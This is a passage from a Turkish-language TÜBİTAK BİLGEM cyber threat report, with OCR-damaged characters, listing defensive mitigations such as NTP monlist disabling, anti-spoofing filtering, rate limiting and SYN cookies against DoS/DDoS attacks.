- Kaullanici hesaplari ile ilgili olusturma, degistirme siiregleri ve izinleri yonetilmelidir.

[21] Kayit defteri izinlerinin sinirlanmasi
- Windows kayit defterindeki belli hive ve anahtarlar1 giincelleme yetkisi sinirlandirtlmalidir.

[22] Denetim
- Sistemlerin, izinlerin, giivensiz yazilimlarin, giivensiz konfigiirasyonlarin denetimi ve taramalari yapilarak
potansiyel zayifliklar tespit edilmelidir.

[23] Isletim sistemi konfigiirasyonu
- Isletim sistemi ile veya igletim sisteminin bir 6zelligi ile ilgili system giivenligini arttirmaya yonelik konfigiirasyon
degisiklikleri yapilmalidir.

[24] Dosya ve dizin izinlerininin kisitlanmasi
- Yetkili hesaplara veya kullanicilara spesifik olmayan dizin ve dosya izinleri ayarlayarak erisimi kisitlanmalidir.

[25] Monlisti devre dis1 birakilmasi
- monlist zafiyetini yamamak i¢in en basit ¢6ziim komutu devre dig1 birakmaktir. Versiyon 4.2.7'den dnceki biitiin
NTP yazilimlar1 default olarak zafiyetlidir. NTP sunucusunu 4.2.7 veya iistiine yiikseltilerek komut devre dis1
birakilabilir ve zafiyet yamanabilir. Yiikseltme miimkiin degilse US-CERT talimatlarinin uygulanmasi ile sunucu
admini tarafindan gerekli degisiklikler yapilabilir.

[26] Kaynak IP dogrulamasi yapilarak spoof'lanmis paketlerin ag1 terketmesi engellenmesi
Saldirganin bot ag1 tarafindan gonderilen UDP talepleri, magdurun IP adresi ile degistirilmis bir kaynak IP
adresine sahip olacagi i¢cin UDP bazli amplifikasyon saldirilarinin etkisini azaltmaya yonelik en temel yontem
spoof'lanmis IP adresine sahip biitiin i¢ trafigin engellenmesidir. Eger agin icinden gonderilen bir paket, kendisini
agin diginda olugmus gibi gosteren bir IP adresine sahipse muhtemelen spoof'lanmis bir pakettir ve diistiriilebilir.

[27] UDP Flood
- Butip saldirilara kars1 koruma saglamak i¢in modern giivenlik duvarlar1 kapali portlara yoneklik UDP trafigini ve
istenmemis UDP reply paketlerini diigiirmektedir. Bazi baska onlemler ise BGP'ye yapilabilecek black hole
routing ve sinkhole routing gibi modifikasyonlarin yaninda universal reverse path forwarding, remote triggered
black holing(RFC3704)'in uygulanmasidir.
[28] Limit Yapilandirmalari
- DOS saldirilarin1 engellemek i¢in normal calisma kosullarmin bilinmesi ve bu kosullara uygun limitlerin
belirlenmesi 6nemlidir. Kurum Giivenlik duvar1 veya IPS/IDS sistemleri iizerinden tek kaynaktan siurlt siire

TASNIF DISI



’ TUBITAK Bilisim ve Bilgi Giivenlidi Ileri Teknolojiler Arastirma Merkezi
" Siber Guvenlik Enstitisi
BILGEM Rusya-Ukrayna Siber Savas Tehdit Arastirma Raporu

S {11} ¥ S—

icerisinden gelebilecek maksimum baglanti sayisi, TCP/UDP/SYN/ACK paket sayist gibi degerler
limitlendirilmelidir. Benzer sekilde belirli IP blogundan tek hedefe gelecek paket sayilariin siirlandirilmast da
uygun olacaktir. Ornek olarak verilen bu tedbirlerin yam sira DDOS korumlari igin verilen en iyi kullanim
orneklerinden (best practice) faydalanilmasi uygun olacaktir.

[29] Kara-Beyaz Liste
- Bilinen kétiiciil IP adresleri tehdit istihbarat raporlarinda veya listelerinde paylasilmaktadir. Zararlt oldugu
bilinen bu IP adreslerinin miimkiinse otomatik olarak engellenmesi uygun olacaktir.

[30] SYN Cookie, SYN Proxy
- SYN akis saldirilar1 giinlimiizde halen en sik kullanilan DOS yontemlerindendir. Bu saldirilarin
engellenmesine yonelik tedbirlerden olan Syn cookie ve syn Proxy, SYN paketlerinin legal istek oldugunun
dogrulanmasina yoneliktir. Glivenlik cihazlar lizerinde yapilan yapilandirma ile gelen her SYN paketi igin
kaynaga bir adet SYN paketi gonderilir ve son ACK paketinin gelmesi beklenir. ACK paketinin gelmemesi
gonderici amacimin TCP 3’li el sikisma olmayan sahte IP oldugu anlamina gelmektedir. ACK paketinin
gelmesi durumunda Proxy aradan ¢ekilir ve normal trafik akmaya devam eder.

[31] internet Servis Saglayici
- Internet Servis Saglayici kaynaklarimiza gelen trafik i¢in iletim saglamaktadir. Trafik heniiz isletmemize
gelmeden DOS/DDOS korumasi saglanmasi bizim saldiridan etkilenmememize olanak saglayacaktir.

[32] DDOS Koruma Cihazlar:
- Kuruma gelen trafigin DDOS agisindan analiz edilmesi ve kurum igerisine girmeden engellenmesini
saglayan giivenlik cihazlarit DDOS koruma yontemleri arasindadir.

[33] Maksimum Oturum Sayisi
- GET/POST seli saldirilarina karsi tek IP adresinin agabilecegi oturum sayisi kurum i¢in uygun degerlerde
azaltilmalidir.

[34] WEB Sunucu DOS Koruma Modiilleri
- DOS/DDOS koruma igin saldir1 kaynagindan servis kaynagina kadar ugtan uca Onlem alinmasi
gerekmektedir. Bu nedenle servis kaynagi olan WEB sunucular iizerinde bulunan DOS modiillerinin aktif
edilmesi ve kod yazma agamasinda DOS saldirilarina neden olmayacak sekilde giivenli yazilim gelistirme
metodlarinin uygulanmasi 6nemlidir.
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